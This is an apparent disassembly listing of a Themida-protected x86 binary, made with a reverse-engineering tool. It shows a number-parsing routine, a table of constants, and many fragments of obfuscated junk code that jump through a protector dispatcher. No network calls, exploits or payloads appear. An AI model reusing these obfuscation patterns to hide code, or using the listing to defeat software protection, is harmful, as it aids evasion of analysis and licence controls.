loc_58153C: ; CODE XREF: sub_57DD3A+37FEj
cmp byte ptr [edi], 0
jnz short loc_58153A
xor ecx, ecx
mov edi, [ebp+8]
jmp short loc_58156B
; ---------------------------------------------------------------------------
loc_581548: ; CODE XREF: sub_57DD3A+3833j
xor edx, edx
mov dl, [edi]
sub dl, 30h
mov esi, eax
dec esi
push eax
mov eax, edx
push ebx
mov ebx, 0Ah
jmp short loc_581560
; ---------------------------------------------------------------------------
loc_58155D: ; CODE XREF: sub_57DD3A+3829j
mul ebx
dec esi
loc_581560: ; CODE XREF: sub_57DD3A+3821j
cmp esi, 0
ja short loc_58155D
pop ebx
add ecx, eax
pop eax
inc edi
dec eax
loc_58156B: ; CODE XREF: sub_57DD3A+380Cj
or eax, eax
jnz short loc_581548
mov eax, ecx
pop esi
pop edx
pop edi
pop ecx
leave
retn 4
; ---------------------------------------------------------------------------
pusha
push ecx
movzx ecx, cx
pop ecx
mov edx, [ebp+6150301h]
popa
push esi
sub [ebp+6152279h], edx
pop ebx
pusha
push eax
movsx ebx, di
pop ecx
or edi, [ebp+6152835h]
popa
loc_58159B: ; CODE XREF: sub_57DD3A:loc_57E99Dj
mov eax, ecx
jmp loc_5A32FE
sub_57DD3A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dw 1Bh
dd 0FEF4026Eh, 230012h, 7032026Eh, 5Fh, 8B290000h, 8B29005Fh
dd 206005Fh, 20000h, 10000h, 50000h, 9A2F0000h, 0FA42h
dd 4 dup(0)
dd 0BADB0000h, 0C1530058h, 0D22F0058h, 6F180058h, 9CC90058h
dd 75C80058h, 7C9F0058h, 0DF520058h, 42200058h, 4C780058h
dd 0DBC30058h, 0C6D00058h, 5B0D0058h, 3F0D0058h, 0C0A00058h
dd 6BC70058h, 0A18D0058h, 77A20058h, 1F1D0058h, 71EC0058h
dd 24C60058h, 85D20058h, 49D70058h, 1C040058h, 7FCD0058h
dd 29180058h, 307F0058h, 31110058h, 0D8240058h, 0AEBF0058h
dd 84A60058h, 0A4340058h, 0DCEF0058h, 0D2030058h, 9B8E0058h
dd 0C64F0058h, 0A91B0058h, 0AFF00058h, 0C78B0058h, 0C0460058h
dd 35E80058h, 63C30058h, 819B0058h, 0D8E00058h, 5C9D0058h
dd 798F0058h, 0C8520058h, 0DBCC0058h, 0BB3F0058h, 56FB0058h
dd 82C40058h, 79DB0058h, 0C44F0058h, 52880058h, 84350058h
dd 9BEB0058h, 0B7DC0058h, 0C9250058h, 0C8A60058h, 6FCE0058h
dd 84190058h, 337F0058h, 94910058h, 2D480058h, 238E0058h
dd 6B020058h, 38E20058h, 2BC20058h, 0AE230058h, 0BEE50058h
dd 0C7210058h, 47CE0058h, 0B24B0058h, 0DAB40058h, 5D050058h
dd 99BC0058h, 8BCF0058h, 0A2800058h, 8B150058h, 0B5530058h
dd 69C30058h, 3C820058h, 4D690058h, 39600058h, 74190058h
dd 45290058h, 9E160058h, 0AF370058h, 21D20058h, 881B0058h
dd 0D4990058h, 650E0058h, 7E030058h, 0B7540058h, 6C350058h
dd 1C4A0058h, 0AEEE0058h, 3F480058h, 6CDA0058h, 93E70058h
dd 31E60058h, 0D69D0058h, 0B6400058h, 911A0058h, 0DB630058h
dd 7BB60058h, 0D8610058h, 2C440058h, 0D93E0058h, 44230058h
dd 32510058h, 5FAE0058h, 0A37C0058h, 0DEE60058h, 0D6850058h
dd 79E70058h, 56B80058h, 887E0058h, 4A2E0058h, 1AD30058h
dd 93DA0058h, 0BDA30058h, 48300058h, 367F0058h, 954B0058h
dd 0B4FC0058h, 2A2F0058h, 46250058h, 530E0058h, 0C4D60058h
dd 0B7CE0058h, 570C0058h, 6BFB0058h, 68D80058h, 61050058h
dd 0DEBC0058h, 93FD0058h, 2E6C0058h, 0A5D50058h, 9FF60058h
dd 94C60058h, 45580058h, 4A7A0058h, 23280058h, 64470058h
dd 51ED0058h, 0C3DE0058h, 651F0058h, 6A8B0058h, 7DB80058h
dd 0C5EF0058h, 0D0950058h, 6B970058h, 99630058h, 3C060058h
dd 37A50058h, 84740058h, 34530058h, 78D70058h, 0A7C80058h
dd 66780058h, 3DD00058h, 5D1F0058h, 0BF010058h, 9BA60058h
dd 50350058h, 6AF80058h
db 58h, 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5F0C13
loc_581882: ; CODE XREF: Themida_:005A334Ej
; Themida_:005A3358j ...
pusha
pushf
cld
call $+5
pop edi
sub edi, 6157E5Bh
mov eax, edi
add edi, 6157B73h
cmp eax, [edi+2Ch]
jnz short loc_5818A0
jmp short loc_5818B3
; ---------------------------------------------------------------------------
loc_5818A0: ; CODE XREF: sub_5F0C13-6F377j
mov [edi+2Ch], eax
mov ecx, 0A7h
jmp short loc_5818AF
; ---------------------------------------------------------------------------
loc_5818AA: ; CODE XREF: sub_5F0C13-6F362j
add [edi+ecx*4+40h], eax
dec ecx
loc_5818AF: ; CODE XREF: sub_5F0C13-6F36Bj
or ecx, ecx
jnz short loc_5818AA
loc_5818B3: ; CODE XREF: sub_5F0C13-6F375j
mov esi, [esp+24h]
mov ebx, esi
add esi, eax
mov ecx, 1
loc_5818C0: ; CODE XREF: sub_5F0C13-6F34Cj
xor eax, eax
lock cmpxchg [edi+30h], ecx
jnz short loc_5818C0
loc_5818C9: ; CODE XREF: Themida_:00581A99j
; Themida_:00581B72j ...
lodsb
push small 1383h
mov [esp+26h+var_26], dx
jmp loc_58C144
; END OF FUNCTION CHUNK FOR sub_5F0C13
; ---------------------------------------------------------------------------
loc_5818D7: ; CODE XREF: Themida_:0058A8BBj
and edx, ebp
mov ebp, [esp]
add esp, 4
xor edx, 732B4263h
add edi, edx
pop edx
add edi, 0BA07B6Ah
add edi, ecx
push eax
mov eax, 7D117A6Bh
sub eax, 26349FEh
dec eax
inc eax
xor eax, 710E4B07h
sub edi, eax
pop eax
push 1DAFh
mov [esp], ebx
jmp loc_58786C
; ---------------------------------------------------------------------------
loc_581915: ; CODE XREF: Themida_:00584B6Fj
mov ebp, [esp]
jmp loc_586E94
; ---------------------------------------------------------------------------
loc_58191D: ; CODE XREF: Themida_:0058CA17j
pop esp
mov eax, [esp]
sub esp, 4
mov [esp], esi
push esp
mov esi, [esp]
jmp loc_58A5FA
; ---------------------------------------------------------------------------
loc_581933: ; CODE XREF: Themida_:00582879j
mov edx, esi
pop esi
sub esp, 4
mov [esp], edi
push ecx
mov ecx, 76483C06h
mov edi, ecx
pop ecx
neg edi
push ebp
mov ebp, 76483C05h
xor edi, ebp
pop ebp
jmp loc_58ABD7
; ---------------------------------------------------------------------------
loc_581955: ; CODE XREF: Themida_:0058C9BAj
mov [esp], esp
add dword ptr [esp], 4
jmp loc_58BE91
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5F0C13
loc_581961: ; CODE XREF: sub_5F0C13-636E7j
add al, 3Dh
mov cx, [esp+26h+var_26]
push ebp
mov ebp, esp
sub esp, 4
mov [esp+2Eh+var_2E], eax
push edi
mov edi, 4
mov eax, edi
jmp loc_58B824
; END OF FUNCTION CHUNK FOR sub_5F0C13
; ---------------------------------------------------------------------------
loc_58197D: ; CODE XREF: Themida_:0058C757j
add ecx, eax
jmp loc_5858C2
; ---------------------------------------------------------------------------
loc_581984: ; CODE XREF: Themida_:005883F1j
mov esi, 696E225Bh
jmp loc_58B2DF
; ---------------------------------------------------------------------------
loc_58198E: ; CODE XREF: Themida_:00582DC1j
push esi
push ebp
mov ebp, 36477A81h
sub [esp+4], ebp
pop ebp
jmp loc_5846E9
; ---------------------------------------------------------------------------
loc_58199F: ; CODE XREF: Themida_:0058266Fj
pop ebp
push dword ptr [esp]
jmp loc_58557B
; ---------------------------------------------------------------------------
loc_5819A8: ; CODE XREF: Themida_:0058B7EDj
sub [esp+8], edx
add dword ptr [esp+8], 4A922F27h
jmp loc_5831FF
; ---------------------------------------------------------------------------
loc_5819B9: ; CODE XREF: Themida_:0058D6A4j
push esp
jmp loc_585DE0
; ---------------------------------------------------------------------------
loc_5819BF: ; CODE XREF: Themida_:00582165j
pop cx
push small 5DE7h
mov [esp], dx
mov dh, 0F9h
jmp loc_5874FD
; ---------------------------------------------------------------------------
loc_5819D0: ; CODE XREF: Themida_:0058BB71j
mov esi, 520D354Ah
shl esi, 8
add esi, 570C1783h
add edx, esi
pop esi
jmp loc_583943
; ---------------------------------------------------------------------------
loc_5819E6: ; CODE XREF: Themida_:0058C2D5j
mov edi, 194E6CFDh
xor eax, edi
pop edi
sub eax, 4A003658h
jmp loc_582B3F
; ---------------------------------------------------------------------------
loc_5819F8: ; CODE XREF: Themida_:00588694j
add edx, edi
push dword ptr [edx]
add dword ptr [esp], 743A7130h
mov ecx, [esp]
jmp loc_584905
; ---------------------------------------------------------------------------
loc_581A0B: ; CODE XREF: Themida_:005867E7j
mov ebx, [esp]
add esp, 4
and eax, esi
pop esi
or eax, eax
jz loc_58A3E9
push 52Fh
jmp loc_587DC1
; ---------------------------------------------------------------------------
loc_581A29: ; CODE XREF: Themida_:0058D294j
or esi, 44CC6D1Dh
push edx
mov edx, 47916A73h
shl edx, 3
jmp loc_589802
; ---------------------------------------------------------------------------
loc_581A3D: ; CODE XREF: Themida_:005847E0j
shl eax, 2
shr eax, 4
jmp loc_58D663
; ---------------------------------------------------------------------------
loc_581A48: ; CODE XREF: Themida_:0058525Ej
xor ebp, [esp]
pop esp
mov [esp], ebx
jmp loc_58DB8D
; ---------------------------------------------------------------------------
loc_581A54: ; CODE XREF: Themida_:0058955Cj
push ebp
jmp loc_58DF15
; ---------------------------------------------------------------------------
loc_581A5A: ; CODE XREF: Themida_:005823ADj
mov [esp], edi
push esp
mov edi, [esp]
add esp, 4
push 326Fh
mov [esp], esi
mov esi, 4
sub edi, 224D6FE8h
add edi, esi
add edi, 224D6FE8h
mov esi, [esp]
add esp, 4
add edi, 4
jmp loc_58BD4A
; ---------------------------------------------------------------------------
loc_581A90: ; CODE XREF: Themida_:005844FAj
mov ebx, [esp]
add esp, 4
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_581A9E: ; CODE XREF: Themida_:00585BC3j
add eax, 2
jmp loc_588739
; ---------------------------------------------------------------------------
loc_581AA8: ; CODE XREF: Themida_:0058B74Fj
or eax, eax
jz loc_583536
push dword ptr [edi+28h]
push eax
mov eax, 27C2051Bh
xor [esp+4], eax
pop eax
jmp loc_5841E3
; ---------------------------------------------------------------------------
loc_581AC3: ; CODE XREF: Themida_:00581D7Bj
add eax, 4
xor eax, [esp]
xor [esp], eax
jmp loc_58961E
; ---------------------------------------------------------------------------
lodsb
push ebx
push edx
mov dh, 10h
jmp loc_58AC21
; ---------------------------------------------------------------------------
loc_581ADD: ; CODE XREF: Themida_:0058CBB5j
mov edx, edi
jmp loc_585F27
; ---------------------------------------------------------------------------
loc_581AE4: ; CODE XREF: Themida_:0058DDB3j
sub ebp, 35776832h
pop eax
xor ebp, [esp]
xor [esp], ebp
jmp loc_582170
; ---------------------------------------------------------------------------
dw 2489h
; ---------------------------------------------------------------------------
and al, 83h
add al, 24h
add al, 8Fh
add al, 24h
add dword ptr [esp], 4
mov ebx, [esp]
push 2018h
jmp loc_5839FE
; ---------------------------------------------------------------------------
loc_581B11: ; CODE XREF: Themida_:00584205j
push ebx
jmp loc_58C714
; ---------------------------------------------------------------------------
loc_581B17: ; CODE XREF: Themida_:0058C4D7j
push 234h
mov [esp], edx
mov dh, 0C1h
sub al, 86h
add al, 28h
add al, 68h
sub al, dh
sub al, 68h
sub esp, 4
mov [esp], ebx
mov bh, 69h
shl bh, 1
shl bh, 1
jmp loc_5852ED
; ---------------------------------------------------------------------------
loc_581B3F: ; CODE XREF: Themida_:00589CC4j
add ebx, 1
and ebx, 56A94A71h
sub esp, 4
mov [esp], esi
mov esi, 178F17BAh
inc esi
dec esi
xor esi, 0D779A85Ah
add ebx, esi
jmp loc_581D6C
; ---------------------------------------------------------------------------
loc_581B65: ; CODE XREF: Themida_:00583DFEj
mov dh, bh
jmp loc_585A7D
; ---------------------------------------------------------------------------
loc_581B6C: ; CODE XREF: Themida_:00589B76j
btr [esp], ax
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_581B77: ; CODE XREF: Themida_:0058BF63j
add eax, 2E4F7C8Dh
dec eax
push ebp
mov ebp, 6E221C48h
xor eax, ebp
pop ebp
add eax, 197F6F5Dh
mov ebx, eax
pop eax
inc ebx
jmp loc_582DDD
; ---------------------------------------------------------------------------
loc_581B94: ; CODE XREF: Themida_:005824C1j
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
jmp loc_587670
; ---------------------------------------------------------------------------
loc_581BA7: ; CODE XREF: Themida_:0058C006j
add edi, ebp
sub edi, 7B118D5h
sub edi, 644616D3h
jmp loc_589374
; ---------------------------------------------------------------------------
loc_581BBA: ; CODE XREF: Themida_:0058312Cj
add esp, 4
sub al, bl
sub al, 0B5h
push dx
mov dl, 0A9h
and dl, 0A4h
xor dl, 62h
sub al, 15h
sub al, dl
add al, 15h
jmp loc_588E7B
; ---------------------------------------------------------------------------
loc_581BD9: ; CODE XREF: Themida_:005889BFj
add eax, 60833FE7h
dec eax
add eax, 9323F2B3h
mov esi, eax
pop eax
not esi
xor esi, 10A017E9h
push ecx
jmp loc_5839A2
; ---------------------------------------------------------------------------
loc_581BF5: ; CODE XREF: Themida_:00582D51j
mov [esp], eax
mov eax, esp
add eax, 4
jmp loc_588B88
; ---------------------------------------------------------------------------
sub esp, 4
mov [esp], eax
push edx
jmp loc_582E06
; ---------------------------------------------------------------------------
loc_581C13: ; CODE XREF: Themida_:0058A412j
push dword ptr [esp]
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
add esp, 4
jmp loc_589EEB
; ---------------------------------------------------------------------------
loc_581C2A: ; CODE XREF: Themida_:005895E5j
or eax, eax
jz loc_58D306
push edx
push ebp
mov ebp, 29CC3AC1h
mov edx, ebp
jmp loc_58A42C
; ---------------------------------------------------------------------------
loc_581C40: ; CODE XREF: Themida_:005836F1j
add eax, 50AB2F9Ch
jmp loc_584836
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop eax
sbb [esp], eax
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_581C58: ; CODE XREF: Themida_:005897FDj
add bl, 9
jmp loc_587B9F
; ---------------------------------------------------------------------------
loc_581C60: ; CODE XREF: Themida_:0058D0AEj
add edi, 0D754B2B9h
jmp loc_58C91E
; ---------------------------------------------------------------------------
loc_581C6B: ; CODE XREF: Themida_:00588AEAj
dec edi
jmp loc_585A6F
; ---------------------------------------------------------------------------
loc_581C71: ; CODE XREF: Themida_:00585D1Aj
mov [esp], edx
jmp loc_58859B
; ---------------------------------------------------------------------------
loc_581C79: ; CODE XREF: Themida_:0058BB27j
mov edi, 4
add ebx, edi
pop edi
add ebx, 4
xchg ebx, [esp]
pop esp
or eax, eax
jnz loc_583536
sub esp, 4
mov [esp], ebp
push 0D4963BCh
jmp loc_58509A
; ---------------------------------------------------------------------------
loc_581CA6: ; CODE XREF: Themida_:0058C699j
mov [esp], eax
push esp
jmp loc_583563
; ---------------------------------------------------------------------------
loc_581CAF: ; CODE XREF: Themida_:00585124j
add ecx, 4
push 75D6h
mov [esp], ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
pop esp
push dword ptr [edi+eax*4]
push dword ptr [esp]
pop eax
push eax
push esp
pop eax
jmp loc_58C6B4
; ---------------------------------------------------------------------------
loc_581CD5: ; CODE XREF: Themida_:00582854j
mov esp, [esp]
cmp cx, ax
pushf
jmp loc_5825FD
; ---------------------------------------------------------------------------
loc_581CE1: ; CODE XREF: Themida_:005830CFj
add ebx, 0FCE59D39h
sub edi, 727C73DCh
add edi, ebx
add edi, 727C73DCh
pop ebx
add edi, 4
jmp loc_58532E
; ---------------------------------------------------------------------------
loc_581CFE: ; CODE XREF: Themida_:005888AEj
mov [esp], ebp
push esp
pop ebp
push ebx
push 529Ah
mov [esp], eax
mov eax, 6DCB0A01h
push edx
jmp loc_58CF49
; ---------------------------------------------------------------------------
loc_581D17: ; CODE XREF: Themida_:0058386Aj
sub esp, 4
jmp loc_58A639
; ---------------------------------------------------------------------------
loc_581D1F: ; CODE XREF: Themida_:0058C724j
push ebx
mov bl, 91h
or bl, 0DBh
push edx
push ebx
mov bh, 0C6h
mov dl, 0CDh
sub dl, bh
pop ebx
neg dl
inc dl
not dl
and dl, 4Ch
or dl, 81h
sub dl, 0AEh
add bl, dl
jmp loc_585FA8
; ---------------------------------------------------------------------------
loc_581D44: ; CODE XREF: Themida_:005850BEj
pop esp
mov [esp], ecx
mov ecx, 0FFFFFFFFh
sub esi, 7ACC73EDh
add esi, ecx
add esi, 7ACC73EDh
push dword ptr [esp]
pop ecx
jmp loc_587949
; ---------------------------------------------------------------------------
loc_581D64: ; CODE XREF: Themida_:00587B0Ej
mov ecx, esp
push eax
jmp loc_58B70B
; ---------------------------------------------------------------------------
loc_581D6C: ; CODE XREF: Themida_:00581B60j
pop esi
and eax, ebx
push dword ptr [esp]
pop ebx
push eax
mov eax, esp
add eax, 4
jmp loc_581AC3
; ---------------------------------------------------------------------------
loc_581D80: ; CODE XREF: Themida_:00588C30j
sub ax, 7D0Bh
push ecx
mov cx, 5D63h
jmp loc_5883C9
; ---------------------------------------------------------------------------
loc_581D8E: ; CODE XREF: Themida_:00582B0Dj
sub eax, 3EBAC4C1h
sub ebx, eax
pop eax
sub ebx, 38235602h
add ebx, eax
push 66BBh
mov [esp], edx
mov edx, 4D6A3213h
jmp loc_586639
; ---------------------------------------------------------------------------
loc_581DB0: ; CODE XREF: Themida_:00583DC3j
push ebp
push esi
jmp loc_58387C
; ---------------------------------------------------------------------------
loc_581DB7: ; CODE XREF: Themida_:005881FFj
add eax, 6EEADCC5h
sub esi, eax
pop eax
sub ebp, 4D1C7C84h
add ebp, esi
add ebp, 4D1C7C84h
pop esi
xchg ebp, [esp]
mov esp, [esp]
jmp loc_58BDD6
; ---------------------------------------------------------------------------
loc_581DD9: ; CODE XREF: Themida_:0058CC1Ej
sub esp, 4
mov [esp], esi
mov esi, 4
add ebx, esi
mov esi, [esp]
add esp, 4
push eax
mov eax, 4
add ebx, eax
jmp loc_58BFBC
; ---------------------------------------------------------------------------
loc_581DFC: ; CODE XREF: Themida_:00586B4Ej
sub edi, 199B2F6Fh
pop edx
xchg edi, [esp]
mov esp, [esp]
ror dword ptr [esp], cl
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_581E12: ; CODE XREF: Themida_:0058947Ej
inc edx
jmp loc_58CEA7
; ---------------------------------------------------------------------------
loc_581E18: ; CODE XREF: Themida_:0058D01Bj
add esp, 4
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push eax
mov eax, esp
sub esp, 4
jmp loc_589743
; ---------------------------------------------------------------------------
loc_581E35: ; CODE XREF: Themida_:0058D9D1j
mov esi, esp
add esi, 4
add esi, 4
jmp loc_58283E
; ---------------------------------------------------------------------------
loc_581E48: ; CODE XREF: Themida_:0058D076j
pop eax
shl edi, 6
jmp loc_58480C
; ---------------------------------------------------------------------------
loc_581E51: ; CODE XREF: Themida_:00582DE7j
mov edx, 2EB71BDFh
jmp loc_582368
; ---------------------------------------------------------------------------
loc_581E5B: ; CODE XREF: Themida_:0058DB05j
add ebp, 1B600ACAh
jmp loc_58DA24
; ---------------------------------------------------------------------------
loc_581E66: ; CODE XREF: Themida_:0058D653j
mov esi, 5BEB1ED4h
sub esi, 1DA7E79h
or esi, 180726BCh
jmp loc_58B8C2
; ---------------------------------------------------------------------------
loc_581E7C: ; CODE XREF: Themida_:0058CE04j
sub dl, cl
pop ecx
add bl, dl
push dword ptr [esp]
pop edx
add esp, 4
add bl, al
push 2748h
mov [esp], edx
mov dl, 0F0h
push eax
mov al, 44h
sub bl, al
jmp loc_58CA1C
; ---------------------------------------------------------------------------
loc_581EA1: ; CODE XREF: Themida_:0058B860j
sub ebp, edi
pop edi
jmp loc_5844C4
; ---------------------------------------------------------------------------
loc_581EA9: ; CODE XREF: Themida_:0058C56Bj
push esp
pop ecx
push edi
jmp loc_584845
; ---------------------------------------------------------------------------
loc_581EB1: ; CODE XREF: Themida_:0058D0DFj
pop ebx
add esp, 4
jmp loc_58C9EB
; ---------------------------------------------------------------------------
loc_581EBA: ; CODE XREF: Themida_:0058B608j
pop eax
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_581ECA: ; CODE XREF: Themida_:005878D2j
add esi, ebp
push ebx
mov ebx, 4DD736DFh
sub ebx, 1A3DDE69h
add esi, ebx
pop ebx
mov ebp, [esp]
add esp, 4
jmp loc_58A626
; ---------------------------------------------------------------------------
loc_581EE6: ; CODE XREF: Themida_:00585BD3j
shr cl, 5
jmp loc_585C6C
; ---------------------------------------------------------------------------
loc_581EEE: ; CODE XREF: Themida_:00584E53j
sub esp, 4
mov [esp], ecx
jmp loc_585231
; ---------------------------------------------------------------------------
loc_581EF9: ; CODE XREF: Themida_:0058892Dj
not ebx
push ebx
push dword ptr [esp+4]
jmp loc_58D0D8
; ---------------------------------------------------------------------------
loc_581F05: ; CODE XREF: Themida_:00587029j
mov ecx, 4D1A1CA6h
xor ecx, 4D1A1CA2h
mov edi, ecx
pop ecx
add [esp+4], edi
pop edi
jmp loc_5818C9
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebp
mov ebp, esp
push 528Ch
mov [esp], ecx
mov ecx, 676860BAh
sub ecx, 676860B6h
add ebp, ecx
pop ecx
jmp loc_58A722
; ---------------------------------------------------------------------------
loc_581F3F: ; CODE XREF: Themida_:0058DC88j
or [edi+1Ch], ebx
jmp loc_58671F
; ---------------------------------------------------------------------------
loc_581F47: ; CODE XREF: Themida_:0058BABDj
add edx, 4
add edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
jmp loc_58D37A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5F0C13
loc_581F61: ; CODE XREF: sub_5F0C13-64AC5j
push 40D0h
mov [esp+36h+var_36], ecx
push ebx
mov bl, 8Fh
mov ch, 51h
xor ch, bl
pop ebx
sub al, ch
mov ecx, [esp+36h+var_36]
jmp loc_589B64
; END OF FUNCTION CHUNK FOR sub_5F0C13
; ---------------------------------------------------------------------------
loc_581F7B: ; CODE XREF: Themida_:00585FE4j
push 79FAh
mov [esp], ebx
mov bh, 0F3h
shl bh, 3
and bh, 23h
jmp loc_58407C
; ---------------------------------------------------------------------------
loc_581F90: ; CODE XREF: Themida_:00585A8Ej
mov ebp, 2B54BA4Ah
sub edi, 7A185336h
sub edi, ebp
add edi, 7A185336h
mov ebp, [esp]
add esp, 4
and eax, edi
jmp loc_589D44
; ---------------------------------------------------------------------------
loc_581FB0: ; CODE XREF: Themida_:00589450j
mov edx, [esp]
add esp, 4
mov eax, [esp]
add esp, 4
mov [edi+eax*4], ch
pop ecx
jmp loc_58C6E3
; ---------------------------------------------------------------------------
loc_581FCB: ; CODE XREF: Themida_:00583CD1j
mov [esp], cx
movzx cx, al
push cx
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_581FDB: ; CODE XREF: Themida_:005886C5j
mov [esp], eax
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_581FE3: ; CODE XREF: Themida_:0058351Dj
pop ebp
xchg edx, [esp]
pop esp
push ecx
mov ecx, esp
push esi
mov esi, 63A20942h
or esi, 5EC33522h
jmp loc_58AD3B
; ---------------------------------------------------------------------------
loc_581FFC: ; CODE XREF: Themida_:005827B8j
add dword ptr [esp], 4
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_582008: ; CODE XREF: Themida_:005866B4j
mov bh, 0A1h
mov cl, bh
pop ebx
mov ah, cl
pop ecx
or ah, 0A3h
neg ah
dec ah
xor ah, 0D9h
sub bl, ah
pop eax
pop ecx
movzx eax, al
pop small word ptr [edi+eax*4]
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58202A: ; CODE XREF: Themida_:00585E0Dj
sub esp, 4
jmp loc_58ADEE
; ---------------------------------------------------------------------------
loc_582035: ; CODE XREF: Themida_:00586170j
push ecx
jmp loc_586627
; ---------------------------------------------------------------------------
loc_58203B: ; CODE XREF: Themida_:00588C93j
push 46Fh
mov [esp], edx
mov edx, 5A091176h
shl edx, 4
xor edx, 56255157h
and edx, 764C17B5h
jmp loc_584E7D
; ---------------------------------------------------------------------------
loc_58205C: ; CODE XREF: Themida_:0058C621j
xor eax, 310F744Ah
xor eax, 68E53F21h
sub esi, eax
pop eax
pop edx
shr esi, 5
inc esi
jmp loc_5871B0
; ---------------------------------------------------------------------------
loc_582073: ; CODE XREF: Themida_:00588B9Cj
sub ebx, 67432E88h
mov edi, [esp]
push esi
mov esi, esp
jmp loc_58C538
; ---------------------------------------------------------------------------
loc_582084: ; CODE XREF: Themida_:00589A8Fj
xor [esp], ecx
jmp loc_588453
; ---------------------------------------------------------------------------
loc_58208C: ; CODE XREF: Themida_:005889ADj
pop ebx
pop esi
add esi, 4
sub esi, 4
xchg esi, [esp]
jmp loc_58CCF2
; ---------------------------------------------------------------------------
loc_5820A2: ; CODE XREF: Themida_:0058D3D3j
push ebp
push dword ptr [esp+4]
pop ebp
jmp loc_584CCB
; ---------------------------------------------------------------------------
loc_5820AD: ; CODE XREF: Themida_:00585C9Ej
sub al, 0D3h
jmp loc_5868FF
; ---------------------------------------------------------------------------
loc_5820B4: ; CODE XREF: Themida_:00587AD1j
pop edx
mov ebx, [esp]
push edi
push esp
mov edi, [esp]
add esp, 4
add edi, 4
add edi, 4
push edi
jmp loc_58818D
; ---------------------------------------------------------------------------
loc_5820D5: ; CODE XREF: Themida_:00584E5Fj
push dword ptr [esp]
pop edx
add esp, 4
pop dword ptr [esp]
pop esp
mov [esp], cx
movzx cx, al
push cx
pushf
jmp loc_586593
; ---------------------------------------------------------------------------
loc_5820F0: ; CODE XREF: Themida_:0058A1A0j
push 45EAh
mov [esp], eax
mov eax, 1BA0365Ch
xor eax, 662724C3h
mov edi, eax
pop eax
shl edi, 5
dec edi
or edi, 13692889h
add edi, 275A386Fh
add edi, 58743BB7h
xor edi, 0B147390Ch
add edx, edi
pop edi
push ebx
push edx
pop ebx
mov eax, ebx
push dword ptr [esp]
mov ebx, [esp]
jmp loc_588FB6
; ---------------------------------------------------------------------------
loc_582134: ; CODE XREF: Themida_:00584726j
pop esi
push esi
mov esi, 2
sub edi, 6BC016BCh
add edi, esi
add edi, 6BC016BCh
pop esi
xchg edi, [esp]
mov esp, [esp]
div cx
jmp loc_58B8E0
; ---------------------------------------------------------------------------
loc_582158: ; CODE XREF: Themida_:00586484j
mov ch, 28h
sub ch, 93h
sub ch, dh
add ch, 93h
pop edx
xor al, ch
jmp loc_5819BF
; ---------------------------------------------------------------------------
loc_58216A: ; CODE XREF: Themida_:00589B5Fj
pop ecx
jmp loc_585D91
; ---------------------------------------------------------------------------
loc_582170: ; CODE XREF: Themida_:00581AF1j
xor ebp, [esp]
mov esp, [esp]
mov [esp], edx
push eax
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_582180: ; CODE XREF: Themida_:00582A2Aj
push 6B49322Fh
jmp loc_58DA75
; ---------------------------------------------------------------------------
loc_58218A: ; CODE XREF: Themida_:0058AF32j
pop eax
push edx
mov edx, 1FD95F1Bh
shl edx, 1
xor edx, 39EB9ED0h
sub esi, edx
pop edx
sub esi, 0EB90DA9h
jmp loc_588413
; ---------------------------------------------------------------------------
loc_5821A7: ; CODE XREF: Themida_:00583E81j
add ebx, ebp
pop ebp
add ebx, 738779EEh
sub ebx, edi
sub ebx, 738779EEh
jmp loc_5877F4
; ---------------------------------------------------------------------------
loc_5821BD: ; CODE XREF: Themida_:005848D4j
add edx, 6C4B0C70h
jmp loc_58592C
; ---------------------------------------------------------------------------
loc_5821C8: ; CODE XREF: Themida_:0058CB8Cj
; Themida_:0058D3ACj
push 3713h
jmp loc_5854A5
; ---------------------------------------------------------------------------
mov eax, [esp]
push esi
push esp
jmp loc_5883B7
; ---------------------------------------------------------------------------
loc_5821DC: ; CODE XREF: Themida_:00586C43j
pop ecx
push ebp
mov ebp, 4
sub ecx, 177254EEh
add ecx, ebp
push edx
push edi
mov edi, 7F95585Fh
xor edi, 327546E4h
and edi, 55935CF6h
and edi, 139E2D32h
add edi, 15F248BCh
mov edx, edi
pop edi
add ecx, edx
jmp loc_58CEEF
; ---------------------------------------------------------------------------
loc_582214: ; CODE XREF: Themida_:0058C654j
mov edx, [esp]
add esp, 4
add edx, 4
push ebp
jmp loc_58D59D
; ---------------------------------------------------------------------------
loc_582226: ; CODE XREF: Themida_:0058D6CEj
add eax, 4
push 12E7h
mov [esp], esi
mov esi, 5C984B22h
jmp loc_587535
; ---------------------------------------------------------------------------
loc_58223D: ; CODE XREF: Themida_:00588FD6j
add ecx, 6D1E0ED8h
pop ebp
jmp loc_58935D
; ---------------------------------------------------------------------------
loc_582249: ; CODE XREF: Themida_:005882BFj
add esp, 4
jmp loc_588283
; ---------------------------------------------------------------------------
loc_582251: ; CODE XREF: Themida_:00586FA8j
xchg ebp, [esp]
pop esp
jmp loc_582380
; ---------------------------------------------------------------------------
loc_58225A: ; CODE XREF: Themida_:00589693j
push 546Fh
jmp loc_58DB5B
; ---------------------------------------------------------------------------
loc_582264: ; CODE XREF: Themida_:00589C11j
add esi, 7A4E7EAFh
pop ebx
add eax, 1B361EB7h
sub eax, 541712BBh
jmp loc_582933
; ---------------------------------------------------------------------------
loc_58227A: ; CODE XREF: Themida_:00583FE0j
pop eax
push ebp
push edx
mov edx, 5D064EB6h
not edx
neg edx
push ebp
mov ebp, 0
sub ebp, edx
